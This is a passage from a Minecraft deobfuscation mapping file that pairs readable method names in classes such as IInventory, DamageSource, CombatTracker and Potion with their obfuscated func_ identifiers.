net/minecraft/inventory/InventoryLargeChest/isLocked ()Z net/minecraft/inventory/InventoryLargeChest/func_174893_q_ ()Z +MD: net/minecraft/inventory/IInventory/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/IInventory/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/IInventory/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/IInventory/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/IInventory/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/IInventory/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/IInventory/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/IInventory/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/IInventory/getField (I)I net/minecraft/inventory/IInventory/func_174887_a_ (I)I +MD: net/minecraft/inventory/IInventory/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/IInventory/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/IInventory/setField (II)V net/minecraft/inventory/IInventory/func_174885_b (II)V +MD: net/minecraft/inventory/IInventory/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/IInventory/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/IInventory/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/IInventory/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/IInventory/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/IInventory/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/IInventory/getFieldCount ()I net/minecraft/inventory/IInventory/func_174890_g ()I +MD: net/minecraft/inventory/IInventory/clear ()V net/minecraft/inventory/IInventory/func_174888_l ()V +MD: net/minecraft/inventory/IInventory/getSizeInventory ()I net/minecraft/inventory/IInventory/func_70302_i_ ()I +MD: net/minecraft/inventory/IInventory/markDirty ()V net/minecraft/inventory/IInventory/func_70296_d ()V +MD: net/minecraft/inventory/IInventory/getInventoryStackLimit ()I net/minecraft/inventory/IInventory/func_70297_j_ ()I +MD: net/minecraft/inventory/IInvBasic/onInventoryChanged (Lnet/minecraft/inventory/InventoryBasic;)V net/minecraft/inventory/IInvBasic/func_76316_a (Lnet/minecraft/inventory/InventoryBasic;)V +MD: net/minecraft/inventory/InventoryHelper/dropInventoryItems (Lnet/minecraft/world/World;DDDLnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/InventoryHelper/func_180174_a (Lnet/minecraft/world/World;DDDLnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/InventoryHelper/spawnItemStack (Lnet/minecraft/world/World;DDDLnet/minecraft/item/ItemStack;)V net/minecraft/inventory/InventoryHelper/func_180173_a (Lnet/minecraft/world/World;DDDLnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryHelper/dropInventoryItems (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/InventoryHelper/func_180175_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/InventoryHelper/dropInventoryItems (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/InventoryHelper/func_180176_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/world/EnumDifficulty/getDifficultyId ()I net/minecraft/world/EnumDifficulty/func_151525_a ()I +MD: net/minecraft/world/EnumDifficulty/getDifficultyEnum (I)Lnet/minecraft/world/EnumDifficulty; net/minecraft/world/EnumDifficulty/func_151523_a (I)Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/world/EnumDifficulty/getDifficultyResourceKey ()Ljava/lang/String; net/minecraft/world/EnumDifficulty/func_151526_b ()Ljava/lang/String; +MD: net/minecraft/world/EnumDifficulty/values ()[Lnet/minecraft/world/EnumDifficulty; net/minecraft/world/EnumDifficulty/values ()[Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/world/DifficultyInstance/calculateAdditionalDifficulty (Lnet/minecraft/world/EnumDifficulty;JJF)F net/minecraft/world/DifficultyInstance/func_180169_a (Lnet/minecraft/world/EnumDifficulty;JJF)F +MD: net/minecraft/world/DifficultyInstance/getAdditionalDifficulty ()F net/minecraft/world/DifficultyInstance/func_180168_b ()F +MD: net/minecraft/world/DifficultyInstance/getClampedAdditionalDifficulty ()F net/minecraft/world/DifficultyInstance/func_180170_c ()F +MD: net/minecraft/world/IInteractionObject/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/world/IInteractionObject/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/world/IInteractionObject/getGuiID ()Ljava/lang/String; net/minecraft/world/IInteractionObject/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/world/LockCode/isEmpty ()Z net/minecraft/world/LockCode/func_180160_a ()Z +MD: net/minecraft/world/LockCode/toNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/LockCode/func_180157_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/LockCode/getLock ()Ljava/lang/String; net/minecraft/world/LockCode/func_180159_b ()Ljava/lang/String; +MD: net/minecraft/world/LockCode/fromNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/LockCode; net/minecraft/world/LockCode/func_180158_b (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/world/LockCode; +MD: net/minecraft/world/ILockableContainer/setLockCode (Lnet/minecraft/world/LockCode;)V net/minecraft/world/ILockableContainer/func_174892_a (Lnet/minecraft/world/LockCode;)V +MD: net/minecraft/world/ILockableContainer/getLockCode ()Lnet/minecraft/world/LockCode; net/minecraft/world/ILockableContainer/func_174891_i ()Lnet/minecraft/world/LockCode; +MD: net/minecraft/world/ILockableContainer/isLocked ()Z net/minecraft/world/ILockableContainer/func_174893_q_ ()Z +MD: net/minecraft/world/IWorldNameable/getName ()Ljava/lang/String; net/minecraft/world/IWorldNameable/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/world/IWorldNameable/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/world/IWorldNameable/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/world/IWorldNameable/hasCustomName ()Z net/minecraft/world/IWorldNameable/func_145818_k_ ()Z +MD: net/minecraft/inventory/InventoryBasic/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryBasic/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryBasic/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryBasic/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryBasic/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/InventoryBasic/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryBasic/setCustomName (Ljava/lang/String;)V net/minecraft/inventory/InventoryBasic/func_110133_a (Ljava/lang/String;)V +MD: net/minecraft/inventory/InventoryBasic/addInventoryChangeListener (Lnet/minecraft/inventory/IInvBasic;)V net/minecraft/inventory/InventoryBasic/func_110134_a (Lnet/minecraft/inventory/IInvBasic;)V +MD: net/minecraft/inventory/InventoryBasic/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/InventoryBasic/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/InventoryBasic/func_174894_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryBasic/func_174894_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryBasic/getField (I)I net/minecraft/inventory/InventoryBasic/func_174887_a_ (I)I +MD: net/minecraft/inventory/InventoryBasic/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryBasic/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryBasic/setField (II)V net/minecraft/inventory/InventoryBasic/func_174885_b (II)V +MD: net/minecraft/inventory/InventoryBasic/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/InventoryBasic/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/InventoryBasic/removeInventoryChangeListener (Lnet/minecraft/inventory/IInvBasic;)V net/minecraft/inventory/InventoryBasic/func_110132_b (Lnet/minecraft/inventory/IInvBasic;)V +MD: net/minecraft/inventory/InventoryBasic/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryBasic/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryBasic/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryBasic/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryBasic/getName ()Ljava/lang/String; net/minecraft/inventory/InventoryBasic/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/inventory/InventoryBasic/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/inventory/InventoryBasic/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/inventory/InventoryBasic/getFieldCount ()I net/minecraft/inventory/InventoryBasic/func_174890_g ()I +MD: net/minecraft/inventory/InventoryBasic/clear ()V net/minecraft/inventory/InventoryBasic/func_174888_l ()V +MD: net/minecraft/inventory/InventoryBasic/hasCustomName ()Z net/minecraft/inventory/InventoryBasic/func_145818_k_ ()Z +MD: net/minecraft/inventory/InventoryBasic/getSizeInventory ()I net/minecraft/inventory/InventoryBasic/func_70302_i_ ()I +MD: net/minecraft/inventory/InventoryBasic/markDirty ()V net/minecraft/inventory/InventoryBasic/func_70296_d ()V +MD: net/minecraft/inventory/InventoryBasic/getInventoryStackLimit ()I net/minecraft/inventory/InventoryBasic/func_70297_j_ ()I +MD: net/minecraft/profiler/PlayerUsageSnooper$1/run ()V net/minecraft/profiler/PlayerUsageSnooper$1/run ()V +MD: net/minecraft/profiler/PlayerUsageSnooper/startSnooper ()V net/minecraft/profiler/PlayerUsageSnooper/func_76463_a ()V +MD: net/minecraft/profiler/PlayerUsageSnooper/addClientStat (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/profiler/PlayerUsageSnooper/func_152768_a (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/profiler/PlayerUsageSnooper/access$000 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Lnet/minecraft/profiler/IPlayerUsage; net/minecraft/profiler/PlayerUsageSnooper/access$000 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Lnet/minecraft/profiler/IPlayerUsage; +MD: net/minecraft/profiler/PlayerUsageSnooper/addMemoryStatsToSnooper ()V net/minecraft/profiler/PlayerUsageSnooper/func_76471_b ()V +MD: net/minecraft/profiler/PlayerUsageSnooper/addStatToSnooper (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/profiler/PlayerUsageSnooper/func_152767_b (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/profiler/PlayerUsageSnooper/access$100 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/lang/Object; net/minecraft/profiler/PlayerUsageSnooper/access$100 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/lang/Object; +MD: net/minecraft/profiler/PlayerUsageSnooper/getCurrentStats ()Ljava/util/Map; net/minecraft/profiler/PlayerUsageSnooper/func_76465_c ()Ljava/util/Map; +MD: net/minecraft/profiler/PlayerUsageSnooper/access$200 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/util/Map; net/minecraft/profiler/PlayerUsageSnooper/access$200 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/util/Map; +MD: net/minecraft/profiler/PlayerUsageSnooper/isSnooperRunning ()Z net/minecraft/profiler/PlayerUsageSnooper/func_76468_d ()Z +MD: net/minecraft/profiler/PlayerUsageSnooper/access$300 (Lnet/minecraft/profiler/PlayerUsageSnooper;)I net/minecraft/profiler/PlayerUsageSnooper/access$300 (Lnet/minecraft/profiler/PlayerUsageSnooper;)I +MD: net/minecraft/profiler/PlayerUsageSnooper/stopSnooper ()V net/minecraft/profiler/PlayerUsageSnooper/func_76470_e ()V +MD: net/minecraft/profiler/PlayerUsageSnooper/access$400 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/util/Map; net/minecraft/profiler/PlayerUsageSnooper/access$400 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/util/Map; +MD: net/minecraft/profiler/PlayerUsageSnooper/getUniqueID ()Ljava/lang/String; net/minecraft/profiler/PlayerUsageSnooper/func_80006_f ()Ljava/lang/String; +MD: net/minecraft/profiler/PlayerUsageSnooper/access$308 (Lnet/minecraft/profiler/PlayerUsageSnooper;)I net/minecraft/profiler/PlayerUsageSnooper/access$308 (Lnet/minecraft/profiler/PlayerUsageSnooper;)I +MD: net/minecraft/profiler/PlayerUsageSnooper/getMinecraftStartTimeMillis ()J net/minecraft/profiler/PlayerUsageSnooper/func_130105_g ()J +MD: net/minecraft/profiler/PlayerUsageSnooper/access$500 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/lang/String; net/minecraft/profiler/PlayerUsageSnooper/access$500 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/lang/String; +MD: net/minecraft/profiler/PlayerUsageSnooper/addOSData ()V net/minecraft/profiler/PlayerUsageSnooper/func_152766_h ()V +MD: net/minecraft/profiler/PlayerUsageSnooper/access$600 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/net/URL; net/minecraft/profiler/PlayerUsageSnooper/access$600 (Lnet/minecraft/profiler/PlayerUsageSnooper;)Ljava/net/URL; +MD: net/minecraft/profiler/PlayerUsageSnooper/addJvmArgsToSnooper ()V net/minecraft/profiler/PlayerUsageSnooper/func_76467_g ()V +MD: net/minecraft/profiler/IPlayerUsage/addServerStatsToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/profiler/IPlayerUsage/func_70000_a (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/profiler/IPlayerUsage/isSnooperEnabled ()Z net/minecraft/profiler/IPlayerUsage/func_70002_Q ()Z +MD: net/minecraft/profiler/IPlayerUsage/addServerTypeToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/profiler/IPlayerUsage/func_70001_b (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/inventory/ISidedInventory/canInsertItem (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/inventory/ISidedInventory/func_180462_a (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/inventory/ISidedInventory/getSlotsForFace (Lnet/minecraft/util/EnumFacing;)[I net/minecraft/inventory/ISidedInventory/func_180463_a (Lnet/minecraft/util/EnumFacing;)[I +MD: net/minecraft/inventory/ISidedInventory/canExtractItem (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/inventory/ISidedInventory/func_180461_b (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/util/CombatEntry/getDamageSrc ()Lnet/minecraft/util/DamageSource; net/minecraft/util/CombatEntry/func_94560_a ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/CombatEntry/func_94563_c ()F net/minecraft/util/CombatEntry/func_94563_c ()F +MD: net/minecraft/util/CombatEntry/isLivingDamageSrc ()Z net/minecraft/util/CombatEntry/func_94559_f ()Z +MD: net/minecraft/util/CombatEntry/func_94562_g ()Ljava/lang/String; net/minecraft/util/CombatEntry/func_94562_g ()Ljava/lang/String; +MD: net/minecraft/util/CombatEntry/getDamageSrcDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/CombatEntry/func_151522_h ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/CombatEntry/getDamageAmount ()F net/minecraft/util/CombatEntry/func_94561_i ()F +MD: net/minecraft/util/CombatTracker/func_94545_a ()V net/minecraft/util/CombatTracker/func_94545_a ()V +MD: net/minecraft/util/CombatTracker/func_94548_b (Lnet/minecraft/util/CombatEntry;)Ljava/lang/String; net/minecraft/util/CombatTracker/func_94548_b (Lnet/minecraft/util/CombatEntry;)Ljava/lang/String; +MD: net/minecraft/util/CombatTracker/trackDamage (Lnet/minecraft/util/DamageSource;FF)V net/minecraft/util/CombatTracker/func_94547_a (Lnet/minecraft/util/DamageSource;FF)V +MD: net/minecraft/util/CombatTracker/getDeathMessage ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/CombatTracker/func_151521_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/CombatTracker/func_94550_c ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/util/CombatTracker/func_94550_c ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/util/CombatTracker/func_180134_f ()I net/minecraft/util/CombatTracker/func_180134_f ()I +MD: net/minecraft/util/CombatTracker/reset ()V net/minecraft/util/CombatTracker/func_94549_h ()V +MD: net/minecraft/util/CombatTracker/getFighter ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/util/CombatTracker/func_180135_h ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/util/CombatTracker/func_94544_f ()Lnet/minecraft/util/CombatEntry; net/minecraft/util/CombatTracker/func_94544_f ()Lnet/minecraft/util/CombatEntry; +MD: net/minecraft/util/CombatTracker/func_94542_g ()V net/minecraft/util/CombatTracker/func_94542_g ()V +MD: net/minecraft/util/DamageSource/isProjectile ()Z net/minecraft/util/DamageSource/func_76352_a ()Z +MD: net/minecraft/util/DamageSource/setExplosionSource (Lnet/minecraft/world/Explosion;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_94539_a (Lnet/minecraft/world/Explosion;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causeThornsDamage (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_92087_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causeThrownDamage (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76356_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causeMobDamage (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76358_a (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causePlayerDamage (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76365_a (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causeArrowDamage (Lnet/minecraft/entity/projectile/EntityArrow;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76353_a (Lnet/minecraft/entity/projectile/EntityArrow;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causeFireballDamage (Lnet/minecraft/entity/projectile/EntityFireball;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76362_a (Lnet/minecraft/entity/projectile/EntityFireball;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/setProjectile ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76349_b ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/causeIndirectMagicDamage (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76354_b (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/getDeathMessage (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/DamageSource/func_151519_b (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/DamageSource/isExplosion ()Z net/minecraft/util/DamageSource/func_94541_c ()Z +MD: net/minecraft/util/DamageSource/setExplosion ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_94540_d ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/isUnblockable ()Z net/minecraft/util/DamageSource/func_76363_c ()Z +MD: net/minecraft/util/DamageSource/getHungerDamage ()F net/minecraft/util/DamageSource/func_76345_d ()F +MD: net/minecraft/util/DamageSource/canHarmInCreative ()Z net/minecraft/util/DamageSource/func_76357_e ()Z +MD: net/minecraft/util/DamageSource/isDamageAbsolute ()Z net/minecraft/util/DamageSource/func_151517_h ()Z +MD: net/minecraft/util/DamageSource/getSourceOfDamage ()Lnet/minecraft/entity/Entity; net/minecraft/util/DamageSource/func_76364_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/util/DamageSource/getEntity ()Lnet/minecraft/entity/Entity; net/minecraft/util/DamageSource/func_76346_g ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/util/DamageSource/setDamageBypassesArmor ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76348_h ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/setDamageAllowedInCreativeMode ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76359_i ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/setDamageIsAbsolute ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_151518_m ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/setFireDamage ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76361_j ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/isFireDamage ()Z net/minecraft/util/DamageSource/func_76347_k ()Z +MD: net/minecraft/util/DamageSource/getDamageType ()Ljava/lang/String; net/minecraft/util/DamageSource/func_76355_l ()Ljava/lang/String; +MD: net/minecraft/util/DamageSource/setDifficultyScaled ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_76351_m ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/isDifficultyScaled ()Z net/minecraft/util/DamageSource/func_76350_n ()Z +MD: net/minecraft/util/DamageSource/isMagicDamage ()Z net/minecraft/util/DamageSource/func_82725_o ()Z +MD: net/minecraft/util/DamageSource/setMagicDamage ()Lnet/minecraft/util/DamageSource; net/minecraft/util/DamageSource/func_82726_p ()Lnet/minecraft/util/DamageSource; +MD: net/minecraft/util/DamageSource/isCreativePlayer ()Z net/minecraft/util/DamageSource/func_180136_u ()Z +MD: net/minecraft/util/EntityDamageSource/getDeathMessage (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/EntityDamageSource/func_151519_b (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/EntityDamageSource/getEntity ()Lnet/minecraft/entity/Entity; net/minecraft/util/EntityDamageSource/func_76346_g ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/util/EntityDamageSource/isDifficultyScaled ()Z net/minecraft/util/EntityDamageSource/func_76350_n ()Z +MD: net/minecraft/util/EntityDamageSource/setIsThornsDamage ()Lnet/minecraft/util/EntityDamageSource; net/minecraft/util/EntityDamageSource/func_180138_v ()Lnet/minecraft/util/EntityDamageSource; +MD: net/minecraft/util/EntityDamageSource/getIsThornsDamage ()Z net/minecraft/util/EntityDamageSource/func_180139_w ()Z +MD: net/minecraft/util/EntityDamageSourceIndirect/getDeathMessage (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/EntityDamageSourceIndirect/func_151519_b (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/EntityDamageSourceIndirect/getSourceOfDamage ()Lnet/minecraft/entity/Entity; net/minecraft/util/EntityDamageSourceIndirect/func_76364_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/util/EntityDamageSourceIndirect/getEntity ()Lnet/minecraft/entity/Entity; net/minecraft/util/EntityDamageSourceIndirect/func_76346_g ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/server/CommandAchievement$1/apply (Lnet/minecraft/stats/Achievement;)Z net/minecraft/command/server/CommandAchievement$1/apply (Lnet/minecraft/stats/Achievement;)Z +MD: net/minecraft/command/server/CommandAchievement$1/apply (Ljava/lang/Object;)Z net/minecraft/command/server/CommandAchievement$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/server/CommandAchievement/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandAchievement/func_82362_a ()I +MD: net/minecraft/command/server/CommandAchievement/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandAchievement/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandAchievement/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandAchievement/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandAchievement/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/server/CommandAchievement/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/server/CommandAchievement/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandAchievement/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandAchievement/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandAchievement/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/potion/PotionAbsorption/removeAttributesModifiersFromEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V net/minecraft/potion/PotionAbsorption/func_111187_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V +MD: net/minecraft/potion/PotionAbsorption/applyAttributesModifiersToEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V net/minecraft/potion/PotionAbsorption/func_111185_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V +MD: net/minecraft/potion/PotionAttackDamage/getAttributeModifierAmount (ILnet/minecraft/entity/ai/attributes/AttributeModifier;)D net/minecraft/potion/PotionAttackDamage/func_111183_a (ILnet/minecraft/entity/ai/attributes/AttributeModifier;)D +MD: net/minecraft/potion/PotionHealthBoost/removeAttributesModifiersFromEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V net/minecraft/potion/PotionHealthBoost/func_111187_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V +MD: net/minecraft/potion/PotionHealth/isReady (II)Z net/minecraft/potion/PotionHealth/func_76397_a (II)Z +MD: net/minecraft/potion/PotionHealth/isInstant ()Z net/minecraft/potion/PotionHealth/func_76403_b ()Z +MD: net/minecraft/potion/Potion/getName ()Ljava/lang/String; net/minecraft/potion/Potion/func_76393_a ()Ljava/lang/String; +MD: net/minecraft/potion/Potion/setEffectiveness (D)Lnet/minecraft/potion/Potion; net/minecraft/potion/Potion/func_76404_a (D)Lnet/minecraft/potion/Potion; +MD: net/minecraft/potion/Potion/isReady (II)Z net/minecraft/potion/Potion/func_76397_a (II)Z +MD: net/minecraft/potion/Potion/getAttributeModifierAmount (ILnet/minecraft/entity/ai/attributes/AttributeModifier;)D net/minecraft/potion/Potion/func_111183_a (ILnet/minecraft/entity/ai/attributes/AttributeModifier;)D +MD: net/minecraft/potion/Potion/getDurationString (Lnet/minecraft/potion/PotionEffect;)Ljava/lang/String; net/minecraft/potion/Potion/func_76389_a (Lnet/minecraft/potion/PotionEffect;)Ljava/lang/String; +MD: net/minecraft/potion/Potion/affectEntity 